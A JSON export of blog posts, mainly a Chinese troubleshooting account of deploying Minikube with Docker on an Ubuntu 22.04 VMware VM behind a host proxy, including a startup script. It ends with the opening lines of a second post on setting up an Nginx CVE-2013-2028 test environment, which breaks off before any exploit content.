[{"content":"踩坑实录：在 VMware Ubuntu 22.04 Server 上部署 Minikube 的血泪史 背景与环境 最近想重新学习一下 Kubernetes，为了图方便，决定在本地 VMware 虚拟机里装一个 Minikube。原本以为是一路回车的事，没想到硬是折腾了一下午，经历了各种网络、内存、镜像和 CNI 的折磨。\n环境信息：\n虚拟机：VMware Workstation，Ubuntu 22.04 Server（无图形界面） 虚拟机 IP：192.168.65.194（NAT 模式） 宿主机代理：192.168.65.1:7890（HTTP/HTTPS 代理） 虚拟机配置：中途扩容至 4 核 8G，60G 硬盘 目标：使用 Docker 驱动启动 Minikube，并运行 Dashboard 及测试应用 本文记录了我这一路遇到的各种报错和最终的成功配置，希望能帮到遇到类似问题的朋友。\n第一坑：宿主机代理与 GitHub 连接被拒 一开始按照官方文档下载 Minikube 二进制文件：\nx12@chenjx12:~$ curl -LO https://github.com/kubernetes/minikube/releases/latest/download/minikube-linux-amd64 % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- 0:00:21 --:--:-- 0 curl: (7) Failed to connect to github.com port 443 after 21059 ms: Connection refused [sudo] password for x12: install: cannot stat \u0026#39;minikube-linux-amd64\u0026#39;: No such file or directory 原因：虚拟机是 NAT 网络，无法直接访问外网，需要走宿主机的代理。但宿主机默认只监听 127.0.0.1。\n解决：\n在宿主机代理软件中开启 “允许局域网连接”（Allow LAN）。 在虚拟机终端中手动配置代理： export http_proxy=\u0026#34;http://192.168.65.1:7890\u0026#34; export https_proxy=\u0026#34;http://192.168.65.1:7890\u0026#34; export all_proxy=\u0026#34;socks5://192.168.65.1:7890\u0026#34; （如需永久生效，可写入 ~/.bashrc；如需让 apt 走代理，需配置 /etc/apt/apt.conf.d/proxy.conf）\n第二坑：内存不足导致集群 OOM 崩溃 在一开始的虚拟机配置（4G内存）下，执行 minikube start 时提示：\n🧯 The requested memory allocation of 3072MiB does not leave room for system overhead (total system memory: 3875MiB). You may face stability issues. 紧接着，集群刚启动没多久，Docker 容器直接死掉，kubectl 报错：\nx12@chenjx12:~$ minikube kubectl -- get po -A E0928 07:26:45.799491 27227 memcache.go:381] \u0026#34;Couldn\u0026#39;t get current server API group list\u0026#34; err=\u0026#34;Get \\\u0026#34;https://192.168.49.2:8443/api?timeout=32s\\\u0026#34;: context deadline exceeded - error from a previous attempt: read tcp 192.168.65.194:57730-\u0026gt;192.168.65.1:7890: read: connection reset by peer\u0026#34; 查看 Docker 容器状态发现 Minikube 容器 Exited (255)：\nx12@chenjx12:~$ docker ps -a | grep minikube 6cda0179e356 gcr.io/k8s-minikube/kicbase:v0.0.51 \u0026#34;/usr/local/bin/entr…\u0026#34; 12 minutes ago Exited (255) About a minute ago 127.0.0.1:32783-\u0026gt;22/tcp, ... minikube 原因：Minikube 默认申请 3G 内存，宿主机系统本身还要占用 1G 多，导致触发 Linux OOM Killer，Minikube 容器被系统强行杀死。\n解决： 将 VMware 虚拟机内存扩容到 8GB，后续启动时限制 Minikube 使用 --memory=4096，给系统留足空间。\n第三坑：国内镜像源与二进制文件 404 陷阱 为了提高速度，我一开始使用了国内镜像仓库参数：\nbash\nminikube start --driver=docker \\ --image-mirror-country=\u0026#39;cn\u0026#39; \\ --docker-env=HTTP_PROXY=http://192.168.65.1:7890 \\ --docker-env=HTTPS_PROXY=http://192.168.65.1:7890 \\ --docker-env=NO_PROXY=localhost,127.0.0.1,192.168.49.0/24 结果不断报错：\n❌ Exiting due to K8S_INSTALL_FAILED: Failed to update cluster: update primary control-plane node: downloading binaries: downloading kubelet: download failed: https://kubernetes.oss-cn-hangzhou.aliyuncs.com/kubernetes-release/release/v1.37.0/bin/linux/amd64/kubelet?checksum=file:https://kubernetes.oss-cn-hangzhou.aliyuncs.com/kubernetes-release/release/v1.37.0/bin/linux/amd64/kubelet.sha256: getter: \u0026amp;{...}: invalid checksum: Error downloading checksum file: bad response code: 404 尝试指定版本 v1.32.0 并更换二进制镜像源，依然 404：\n❌ Exiting due to K8S_INSTALL_FAILED: Failed to update cluster: update primary control-plane node: downloading binaries: downloading kubectl: download failed: https://kubernetes-release.pek3b.qingstor.com/v1.32.0/bin/linux/amd64/kubectl?checksum=file:https://kubernetes-release.pek3b.qingstor.com/v1.32.0/bin/linux/amd64/kubectl.sha256: getter: \u0026amp;{...}: invalid checksum: Error downloading checksum file: bad response code: 404 原因：\n--image-mirror-country='cn' 会强行把 Minikube 的二进制文件下载源也切到阿里云 OSS。 阿里云 OSS 等国内源严重滞后，根本没同步 v1.30.0 或更高版本的 kubelet、kubectl、kubeadm 的校验文件，所以直接 404。 更坑的是，只要用了 --image-repository，Minikube 就会自动触发这个行为。 解决： 彻底放弃国内镜像源参数，只要宿主机代理稳定，直接让它走官方源即可。\n第四坑：权限残留导致删除失败 在反复重试的过程中，minikube delete --all --purge 经常报错：\n❌ Exiting due to HOST_HOME_PERMISSION: unlinkat /home/x12/.minikube/cache/preloaded-tarball/preloaded-images-k8s-v18-v1.32.0-containerd-overlay2-amd64.tar.lz4: permission denied 💡 Suggestion: Your user lacks permissions to the minikube profile directory. Run: \u0026#39;sudo chown -R $USER $HOME/.minikube; chmod -R u+wrx $HOME/.minikube\u0026#39; to fix 解决：千万不要去改 ownership 权限，直接暴力清除即可：\nsudo rm -rf ~/.minikube 第五坑：kindnet CNI 插件无休止崩溃 即使解决了下载问题，默认的 CNI 网络插件 kindnet 却一直在 Pending、ErrImagePull、CrashLoopBackOff 和 Error 之间反复横跳：\nx12@chenjx12:~$ kubectl get po -A NAMESPACE NAME READY STATUS RESTARTS AGE kube-system coredns-6cf5fbd489-pcqn2 0/1 Pending 0 13s kube-system kindnet-8z5rk 0/1 CrashLoopBackOff 1 (6s ago) 13s kube-system kube-scheduler-minikube 1/1 Running 0 21s ... kubectl describe 查看详情，发现 kindnet 容器退出码 255，且无日志：\nx12@chenjx12:~$ kubectl describe pod kindnet-8z5rk -n kube-system ... State: Terminated Reason: Error Exit Code: 255 ... Events: Warning BackOff 33s (x4 over 68s) kubelet spec.containers{kindnet-cni}: Back-off restarting failed container kindnet-cni in pod kindnet-8z5rk_kube-system(...) 进入 Minikube 节点排查：\nx12@chenjx12:~$ minikube ssh docker@minikube:~$ cd /etc/cni/net.d/ docker@minikube:/etc/cni/net.d$ ls -la total 24 drwxr-xr-x 1 root root 4096 Sep 28 07:53 . drwxr-xr-x 1 root root 4096 Sep 1 18:13 .. -rw-r--r-- 1 root root 469 Aug 25 02:16 10-crio-bridge.conflist.disabled.mk_disabled -rw-r--r-- 1 root root 639 Nov 13 2022 87-podman-bridge.conflist.mk_disabled -rw-r--r-- 1 root root 0 Sep 28 07:52 cni.lock 发现没有任何有效的 CNI 配置文件，只有被禁用的旧文件和一个空的锁文件。\n最终定位原因有两个：\nUbuntu 22.04 宿主机默认没有加载 br_netfilter 和 overlay 内核模块，导致网络插件无法配置网桥。 kindnet 在 Docker 驱动下的兼容性极差，极易崩溃。 解决：\n提前加载内核模块： sudo modprobe br_netfilter sudo modprobe overlay lsmod | grep -E \u0026#39;br_netfilter|overlay\u0026#39; # 输出： br_netfilter 32768 0 bridge 311296 1 br_netfilter overlay 151552 0 更换稳定成熟的 CNI 插件为 Flannel，添加参数 --cni=flannel。 第六坑：Dashboard 部署与镜像拉取的无底洞 集群终于跑起来了，但真正的噩梦才刚刚开始——为了看到那个图形化界面（Dashboard），我又陷入了无尽的镜像拉取与端口转发的折磨。\n6.1 minikube dashboard --url 无限卡死 执行官方提供的命令：\nx12@chenjx12:~$ minikube dashboard --url 🔌 Enabling dashboard ... ▪ Using image docker.io/kubernetesui/dashboard:v2.7.0 ▪ Using image docker.io/kubernetesui/metrics-scraper:v1.0.8 🤔 Verifying dashboard health ... 🚀 Launching proxy ... 🤔 Verifying proxy health ... ❌ Exiting due to SVC_URL_TIMEOUT: http://127.0.0.1:44439/... is not accessible: Temporary Error: unexpected response code: 503 原因：503 说明代理通了，但后端 Dashboard 的 Pod 没就绪（处于 Pending 或 ImagePullBackOff）。\n6.2 端口转发报错找不到端口 尝试用 kubectl port-forward 绕过 minikube dashboard：\nx12@chenjx12:~$ kubectl port-forward -n kubernetes-dashboard service/kubernetes-dashboard 8443:443 --address 0.0.0.0 error: Service kubernetes-dashboard does not have a service port 443 原因：新版 Dashboard 服务名和端口变了，查一下实际的 Service：\nx12@chenjx12:~$ kubectl get svc -n kubernetes-dashboard NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE dashboard-metrics-scraper ClusterIP 10.98.45.31 \u0026lt;none\u0026gt; 8000/TCP 8m16s kubernetes-dashboard ClusterIP 10.109.123.237 \u0026lt;none\u0026gt; 80/TCP 8m16s 服务名是 kubernetes-dashboard，端口是 80，不是 443。\n6.3 镜像拉取失败（ImagePullBackOff） 查看 Pod 状态，发现两个 Pod 都拉不到镜像：\nx12@chenjx12:~$ kubectl get pods -n kubernetes-dashboard NAME READY STATUS RESTARTS AGE dashboard-metrics-scraper-b5fc48f67-v677v 0/1 ErrImagePull 0 12m kubernetes-dashboard-779776cb65-ssb5k 0/1 ImagePullBackOff 0 12m 原因：Minikube 内部的 containerd 没有走宿主机的代理，无法从 Docker Hub 拉取镜像。 解决：在宿主机 Docker 拉取镜像，再导入 Minikube。\n# 1. 用 Docker 拉取镜像（Docker 已配代理） docker pull docker.io/kubernetesui/dashboard:v2.7.0 docker pull docker.io/kubernetesui/metrics-scraper:v1.0.8 # 2. 导出为 tar 包 docker save docker.io/kubernetesui/dashboard:v2.7.0 -o dashboard.tar docker save docker.io/kubernetesui/metrics-scraper:v1.0.8 -o metrics-scraper.tar # 3. 复制进 Minikube 节点，直接用 ctr 导入 containerd minikube cp dashboard.tar /tmp/dashboard.tar minikube cp metrics-scraper.tar /tmp/metrics-scraper.tar minikube ssh sudo ctr -n k8s.io images import /tmp/dashboard.tar sudo ctr -n k8s.io images import /tmp/metrics-scraper.tar sudo crictl images | grep -E \u0026#34;dashboard|metrics\u0026#34; # 输出成功： # docker.io/kubernetesui/dashboard v2.7.0 07655ddf2eebe 75.8MB # docker.io/kubernetesui/metrics-scraper v1.0.8 115053965e86b 19.7MB exit 6.4 终极顽固错误：ErrImageNeverPull 镜像明明导入成功了，但 Pod 仍然报错：\nx12@chenjx12:~$ kubectl get pods -n kubernetes-dashboard NAME READY STATUS RESTARTS AGE dashboard-metrics-scraper-6979486cbb-qpwbm 0/1 ErrImageNeverPull 0 74s kubernetes-dashboard-74f48949b4-rgjnr 0/1 ErrImageNeverPull 0 74s 检查 Deployment 配置发现端倪：\nx12@chenjx12:~$ kubectl get deployment kubernetes-dashboard -n kubernetes-dashboard -o yaml | grep -A 2 \u0026#34;image:\u0026#34; image: docker.io/kubernetesui/dashboard:v2.7.0@sha256:2e500d29e9d5f4a086b908eb8dfe7ecac57d2ab09d65b24f588b1d449841ef93 imagePullPolicy: Never 原因：\n镜像名称带了 @sha256:... 摘要，与 containerd 里的 v2.7.0 标签不匹配。 imagePullPolicy: Never 强制只使用本地镜像，找不到就直接报 ErrImageNeverPull。 解决：手动编辑 Deployment，删掉 @sha256:...，并把 imagePullPolicy 改为 IfNotPresent。\nkubectl edit deployment kubernetes-dashboard -n kubernetes-dashboard # 修改 image 为 docker.io/kubernetesui/dashboard:v2.7.0 # 修改 imagePullPolicy 为 IfNotPresent kubectl edit deployment dashboard-metrics-scraper -n kubernetes-dashboard # 同理修改 metrics-scraper # 删除旧 Pod 重建 kubectl delete pod -n kubernetes-dashboard --all 6.5 最终成功：端口转发 + SSH 隧道 Pod 终于 Running 了：\nx12@chenjx12:~$ kubectl get pods -n kubernetes-dashboard NAME READY STATUS RESTARTS AGE dashboard-metrics-scraper-6bcb468bfc-x7c62 1/1 Running 0 8s kubernetes-dashboard-7bbdfddc7c-cfj89 1/1 Running 0 8s 虚拟机终端里（保持运行）：\nkubectl port-forward -n kubernetes-dashboard service/kubernetes-dashboard 8443:80 --address 0.0.0.0 # 输出：Forwarding from 0.0.0.0:8443 -\u0026gt; 80 宿主机终端里（PowerShell/CMD，保持运行）：\nssh -L 8443:127.0.0.1:8443 x12@192.168.65.194 宿主机浏览器访问 http://127.0.0.1:8443，如果有 Token 验证，在虚拟机里执行：\nkubectl -n kubernetes-dashboard create token kubernetes-dashboard 复制长字符串粘贴到浏览器登录框。至此，Dashboard 终于完美展现！\n第七坑：Pod 无法拉取应用镜像 —— containerd 代理缺失 当我在 Dashboard 里尝试部署一个测试应用 hello-minikube 时，又遇到了熟悉的拉取失败：\nkubectl create deployment hello-minikube --image=kicbase/echo-server:1.0 Dashboard 和命令行都报错：\nFailed to pull image \u0026#34;kicbase/echo-server:1.0\u0026#34;: failed to pull and unpack image \u0026#34;docker.io/kicbase/echo-server:1.0\u0026#34;: failed to resolve reference \u0026#34;docker.io/kicbase/echo-server:1.0\u0026#34;: failed to do request: Head \u0026#34;https://registry-1.docker.io/v2/kicbase/echo-server/manifests/1.0\u0026#34;: dial tcp 31.13.87.34:443: connect: connection refused 原因：--docker-env 注入的代理变量只对 Docker 容器生效，而 Pod 运行时使用的是 containerd，两者环境隔离。containerd 没有走代理，无法访问 Docker Hub。\n解决：\n快速方案：手动导入镜像（同 6.3，将 dashboard 换成 kicbase/echo-server:1.0）。 docker pull kicbase/echo-server:1.0 docker save kicbase/echo-server:1.0 -o echo-server.tar minikube cp echo-server.tar /tmp/echo-server.tar minikube ssh sudo ctr -n k8s.io images import /tmp/echo-server.tar exit kubectl delete pod -n default -l app=hello-minikube 根治方案：给 Minikube 内部的 containerd 配置代理。 minikube ssh sudo mkdir -p /etc/systemd/system/containerd.service.d/ sudo tee /etc/systemd/system/containerd.service.d/http-proxy.conf \u0026lt;\u0026lt;EOF [Service] Environment=\u0026#34;HTTP_PROXY=http://192.168.65.1:7890\u0026#34; Environment=\u0026#34;HTTPS_PROXY=http://192.168.65.1:7890\u0026#34; Environment=\u0026#34;NO_PROXY=localhost,127.0.0.1,192.168.49.0/24,10.96.0.0/12,10.244.0.0/16\u0026#34; EOF sudo systemctl daemon-reload sudo systemctl restart containerd exit （注意：此配置在 Minikube 重启后可能会丢失，建议每次重启后重新执行，或写进启动脚本）。\n启动脚本（附赠）\n为了避免每次重启虚拟机后手动配置 containerd 代理，我写了一个一键启动脚本。它自动完成内核模块加载、Minikube 启动、containerd 代理注入、等待就绪等步骤。\n完整脚本见上文，保存为 ~/start-minikube.sh 并 chmod +x 后即可使用。如果想开机自启，配合 crontab -e 添加 @reboot 任务即可。\n这样以后每次打开虚拟机，只需要跑一次脚本，就能直接进入一个完全就绪的 Kubernetes 环境。\nstart-minikube.sh\n#!/bin/bash # ============================================================ # Minikube 一键启动脚本 # 适用环境：VMware Ubuntu 22.04 Server + Docker 驱动 + 宿主机代理 # ============================================================ # ---------------- 可配置变量 ---------------- PROXY_HOST=\u0026#34;192.168.65.1\u0026#34; # 宿主机代理 IP PROXY_PORT=\u0026#34;7890\u0026#34; # 宿主机代理端口 MINIKUBE_MEMORY=\u0026#34;4096\u0026#34; # Minikube 分配内存（MB） MINIKUBE_CPUS=\u0026#34;2\u0026#34; # Minikube 分配 CPU 核数 K8S_VERSION=\u0026#34;v1.30.0\u0026#34; # Kubernetes 版本 CNI_PLUGIN=\u0026#34;flannel\u0026#34; # CNI 插件 VM_USER=\u0026#34;x12\u0026#34; # 虚拟机用户名 VM_IP=\u0026#34;192.168.65.194\u0026#34; # 虚拟机 IP # ------------------------------------------- PROXY_URL=\u0026#34;http://${PROXY_HOST}:${PROXY_PORT}\u0026#34; NO_PROXY_LIST=\u0026#34;localhost,127.0.0.1,192.168.49.0/24,10.96.0.0/12,10.244.0.0/16\u0026#34; echo \u0026#34;==========================================\u0026#34; echo \u0026#34; 1. 检查 Docker 代理配置\u0026#34; echo \u0026#34;==========================================\u0026#34; if ! docker info 2\u0026gt;/dev/null | grep -q \u0026#34;HTTP Proxy\u0026#34;; then echo \u0026#34;⚠️ Docker 未配置代理，正在配置...\u0026#34; sudo mkdir -p /etc/systemd/system/docker.service.d sudo tee /etc/systemd/system/docker.service.d/proxy.conf \u0026gt; /dev/null \u0026lt;\u0026lt;EOF [Service] Environment=\u0026#34;HTTP_PROXY=${PROXY_URL}\u0026#34; Environment=\u0026#34;HTTPS_PROXY=${PROXY_URL}\u0026#34; Environment=\u0026#34;NO_PROXY=localhost,127.0.0.1,192.168.65.0/24\u0026#34; EOF sudo systemctl daemon-reload sudo systemctl restart docker echo \u0026#34;✅ Docker 代理已配置\u0026#34; else echo \u0026#34;✅ Docker 代理已就绪\u0026#34; fi echo \u0026#34;\u0026#34; echo \u0026#34;==========================================\u0026#34; echo \u0026#34; 2. 加载内核模块\u0026#34; echo \u0026#34;==========================================\u0026#34; sudo modprobe br_netfilter sudo modprobe overlay lsmod | grep -E \u0026#39;br_netfilter|overlay\u0026#39; \u0026gt; /dev/null \u0026amp;\u0026amp; echo \u0026#34;✅ 内核模块已加载\u0026#34; echo \u0026#34;\u0026#34; echo \u0026#34;==========================================\u0026#34; echo \u0026#34; 3. 启动 Minikube\u0026#34; echo \u0026#34;==========================================\u0026#34; if minikube status 2\u0026gt;/dev/null | grep -q \u0026#34;Running\u0026#34;; then echo \u0026#34;✅ Minikube 已在运行，跳过启动。\u0026#34; else minikube start --driver=docker \\ --memory=\u0026#34;${MINIKUBE_MEMORY}\u0026#34; \\ --cpus=\u0026#34;${MINIKUBE_CPUS}\u0026#34; \\ --kubernetes-version=\u0026#34;${K8S_VERSION}\u0026#34; \\ --cni=\u0026#34;${CNI_PLUGIN}\u0026#34; \\ --docker-env=HTTP_PROXY=\u0026#34;${PROXY_URL}\u0026#34; \\ --docker-env=HTTPS_PROXY=\u0026#34;${PROXY_URL}\u0026#34; \\ --docker-env=NO_PROXY=\u0026#34;${NO_PROXY_LIST}\u0026#34; fi echo \u0026#34;\u0026#34; echo \u0026#34;==========================================\u0026#34; echo \u0026#34; 4. 配置 containerd 代理\u0026#34; echo \u0026#34;==========================================\u0026#34; minikube ssh \u0026#34;sudo mkdir -p /etc/systemd/system/containerd.service.d/ \u0026amp;\u0026amp; \\ sudo tee /etc/systemd/system/containerd.service.d/http-proxy.conf \u0026gt; /dev/null \u0026lt;\u0026lt;EOF [Service] Environment=\\\u0026#34;HTTP_PROXY=${PROXY_URL}\\\u0026#34; Environment=\\\u0026#34;HTTPS_PROXY=${PROXY_URL}\\\u0026#34; Environment=\\\u0026#34;NO_PROXY=${NO_PROXY_LIST}\\\u0026#34; EOF sudo systemctl daemon-reload \u0026amp;\u0026amp; \\ sudo systemctl restart containerd\u0026#34; \u0026amp;\u0026amp; echo \u0026#34;✅ containerd 代理已配置\u0026#34; echo \u0026#34;\u0026#34; echo \u0026#34;==========================================\u0026#34; echo \u0026#34; 5. 等待节点就绪\u0026#34; echo \u0026#34;==========================================\u0026#34; minikube kubectl -- wait --for=condition=Ready node/minikube --timeout=180s echo \u0026#34;\u0026#34; echo \u0026#34;==========================================\u0026#34; echo \u0026#34; 6. 集群状态\u0026#34; echo \u0026#34;==========================================\u0026#34; minikube kubectl -- get nodes echo \u0026#34;\u0026#34; minikube kubectl -- get po -A echo \u0026#34;\u0026#34; echo \u0026#34;🎉 启动完成！\u0026#34; echo \u0026#34;\u0026#34; echo \u0026#34;==========================================\u0026#34; echo \u0026#34; 访问应用：hello-minikube\u0026#34; echo \u0026#34;==========================================\u0026#34; echo \u0026#34; # 虚拟机终端（保持运行）\u0026#34; echo \u0026#34; minikube kubectl -- port-forward service/hello-minikube 8080:8080 --address 0.0.0.0\u0026#34; echo \u0026#34;\u0026#34; echo \u0026#34; # 宿主机终端（保持运行）\u0026#34; echo \u0026#34; ssh -L 8080:127.0.0.1:8080 ${VM_USER}@${VM_IP}\u0026#34; echo \u0026#34;\u0026#34; echo \u0026#34; # 浏览器访问\u0026#34; echo \u0026#34; http://127.0.0.1:8080\u0026#34; echo \u0026#34;\u0026#34; echo \u0026#34;==========================================\u0026#34; echo \u0026#34; 访问 Dashboard\u0026#34; echo \u0026#34;==========================================\u0026#34; echo \u0026#34; # 虚拟机终端（保持运行）\u0026#34; echo \u0026#34; minikube kubectl -- port-forward -n kubernetes-dashboard service/kubernetes-dashboard 8443:80 --address 0.0.0.0\u0026#34; echo \u0026#34;\u0026#34; echo \u0026#34; # 宿主机终端（保持运行）\u0026#34; echo \u0026#34; ssh -L 8443:127.0.0.1:8443 ${VM_USER}@${VM_IP}\u0026#34; echo \u0026#34;\u0026#34; echo \u0026#34; # 浏览器访问\u0026#34; echo \u0026#34; http://127.0.0.1:8443\u0026#34; echo \u0026#34;\u0026#34; echo \u0026#34; # 如果要求 Token，在虚拟机终端执行\u0026#34; echo \u0026#34; minikube kubectl -- -n kubernetes-dashboard create token kubernetes-dashboard\u0026#34; 终极成功配置（可直接复制） 历经九九八十一难，最终成功启动的命令如下（请替换你的代理 IP 和虚拟机 IP）：\nminikube delete sudo rm -rf ~/.minikube # 加载内核模块 sudo modprobe br_netfilter sudo modprobe overlay # 启动命令 minikube start --driver=docker --memory=4096 --cpus=2 \\ --kubernetes-version=v1.30.0 \\ --cni=flannel \\ --docker-env=HTTP_PROXY=http://192.168.65.1:7890 \\ --docker-env=HTTPS_PROXY=http://192.168.65.1:7890 \\ --docker-env=NO_PROXY=localhost,127.0.0.1,192.168.49.0/24,10.96.0.0/12,10.244.0.0/16 配置永久生效（写入 .bashrc） 避免每次重开终端 kubectl 被代理拦截：\necho \u0026#39;export NO_PROXY=localhost,127.0.0.1,192.168.49.0/24,10.96.0.0/12,10.244.0.0/16\u0026#39; \u0026gt;\u0026gt; ~/.bashrc echo \u0026#39;export no_proxy=localhost,127.0.0.1,192.168.49.0/24,10.96.0.0/12,10.244.0.0/16\u0026#39; \u0026gt;\u0026gt; ~/.bashrc echo \u0026#39;alias kubectl=\u0026#34;minikube kubectl --\u0026#34;\u0026#39; \u0026gt;\u0026gt; ~/.bashrc source ~/.bashrc 内核模块开机自动加载：\necho -e \u0026#34;br_netfilter\\noverlay\u0026#34; | sudo tee /etc/modules-load.d/k8s.conf 验证集群状态 x12@chenjx12:~$ kubectl get nodes NAME STATUS ROLES AGE VERSION minikube Ready control-plane 109s v1.30.0 x12@chenjx12:~$ kubectl get po -A NAMESPACE NAME READY STATUS RESTARTS AGE kube-flannel kube-flannel-ds-qdlmg 1/1 Running 0 93s kube-system coredns-7db6d8ff4d-9d7c7 1/1 Running 0 93s kube-system etcd-minikube 1/1 Running 0 107s kube-system kube-apiserver-minikube 1/1 Running 0 107s kube-system kube-controller-manager-minikube 1/1 Running 0 107s kube-system kube-proxy-gvdsp 1/1 Running 0 93s kube-system kube-scheduler-minikube 1/1 Running 0 107s kube-system storage-provisioner 1/1 Running 0 105s 当 minikube 节点显示 Ready，且 kube-flannel、coredns 等全部 Running 时，大功告成！\n血泪总结 代理才是王道：在有稳定宿主机代理的情况下，千万不要画蛇添足用国内镜像源参数，官方源 + 代理是最稳的。 内存要留足：Kubernetes 本身很吃资源，宿主机虚拟机内存至少 8G 起步，Minikube 内部限制 4G，给系统留足余量。 NO_PROXY 绝不能少：一定要把 Kubernetes 的集群内部网段（192.168.49.0/24、10.96.0.0/12、10.244.0.0/16）放入 NO_PROXY，否则 kubectl 会因为走了代理而连不上集群。 内核模块要加载：Ubuntu 22.04 宿主机运行容器网络前，一定要 modprobe br_netfilter 和 overlay。 别死磕 kindnet：在 Docker 驱动下遇到网络问题，果断换成 --cni=flannel，瞬间海阔天空。 minikube image load 的欺骗性：它把镜像加载到了 Minikube 内部的 Docker 层，而 K8s 用的是 containerd。必须用 minikube cp + ctr -n k8s.io images import 才能让 Pod 真正找到镜像。 imagePullPolicy 与 sha256 摘要：如果手动导入了镜像，记得把 Deployment 里的 image 去掉 @sha256:... 并设置 imagePullPolicy: IfNotPresent，否则会报 ErrImageNeverPull。 无图形界面访问 Dashboard：在 Server 版中，最佳的访问方式是“虚拟机端口转发 + 宿主机 SSH 隧道”，用宿主机浏览器访问 http://127.0.0.1:8443。 containerd 代理隔离：--docker-env 只对 Docker 生效，Pod 拉取镜像时走的是 containerd。遇到应用镜像 ImagePullBackOff，要么手动 ctr 导入，要么单独给 containerd 配代理。 祝各位在 K8s 的海洋里少踩坑，多捞鱼！\n","permalink":"https://chenjx12.github.io/posts/%E8%B8%A9%E5%9D%91%E5%AE%9E%E5%BD%95%E5%9C%A8-vmware-ubuntu-22.04-server-%E4%B8%8A%E9%83%A8%E7%BD%B2-minikube-%E7%9A%84%E8%A1%80%E6%B3%AA%E5%8F%B2/","summary":"\u003ch1 id=\"踩坑实录在-vmware-ubuntu-2204-server-上部署-minikube-的血泪史\"\u003e踩坑实录：在 VMware Ubuntu 22.04 Server 上部署 Minikube 的血泪史\u003c/h1\u003e\n\u003ch2 id=\"背景与环境\"\u003e背景与环境\u003c/h2\u003e\n\u003cp\u003e最近想重新学习一下 Kubernetes，为了图方便，决定在本地 VMware 虚拟机里装一个 Minikube。原本以为是一路回车的事，没想到硬是折腾了一下午，经历了各种网络、内存、镜像和 CNI 的折磨。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e环境信息：\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e虚拟机\u003c/strong\u003e：VMware Workstation，Ubuntu 22.04 Server（无图形界面）\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e虚拟机 IP\u003c/strong\u003e：\u003ccode\u003e192.168.65.194\u003c/code\u003e（NAT 模式）\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e宿主机代理\u003c/strong\u003e：\u003ccode\u003e192.168.65.1:7890\u003c/code\u003e（HTTP/HTTPS 代理）\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e虚拟机配置\u003c/strong\u003e：中途扩容至 4 核 8G，60G 硬盘\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e目标\u003c/strong\u003e：使用 Docker 驱动启动 Minikube，并运行 Dashboard 及测试应用\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e本文记录了我这一路遇到的各种报错和最终的成功配置，希望能帮到遇到类似问题的朋友。\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"第一坑宿主机代理与-github-连接被拒\"\u003e第一坑：宿主机代理与 GitHub 连接被拒\u003c/h2\u003e\n\u003cp\u003e一开始按照官方文档下载 Minikube 二进制文件：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ex12@chenjx12:~$ curl -LO https://github.com/kubernetes/minikube/releases/latest/download/minikube-linux-amd64\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                 Dload  Upload   Total   Spent    Left  Speed\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e     \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e    \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e     \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e    \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e     \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e      \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e      \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e --:--:--  0:00:21 --:--:--     \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecurl: \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e7\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e Failed to connect to github.com port \u003cspan style=\"color:#ae81ff\"\u003e443\u003c/span\u003e after \u003cspan style=\"color:#ae81ff\"\u003e21059\u003c/span\u003e ms: Connection refused\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003esudo\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e password \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e x12:                                            \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003einstall: cannot stat \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;minikube-linux-amd64\u0026#39;\u003c/span\u003e: No such file or directory\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003e原因\u003c/strong\u003e：虚拟机是 NAT 网络，无法直接访问外网，需要走宿主机的代理。但宿主机默认只监听 \u003ccode\u003e127.0.0.1\u003c/code\u003e。\u003c/p\u003e","title":"踩坑实录：在 VMware Ubuntu 22.04 Server 上部署 Minikube 的血泪史"},{"content":"Nginx cve-2013-2028漏洞环境搭建与复现 声明：测试环境为 Ubuntu 16.04 + Nginx 1.4.0，仅供安全研究使用\n环境搭建 由于 cve-2013-2028 漏洞影响到的Nginx版本 1.3.9 和 1.4.0 已经在官方网站中被移除\n所以我们需要在其他地方获取有漏洞的版本\n方法一：Nginx官方GitHub仓库 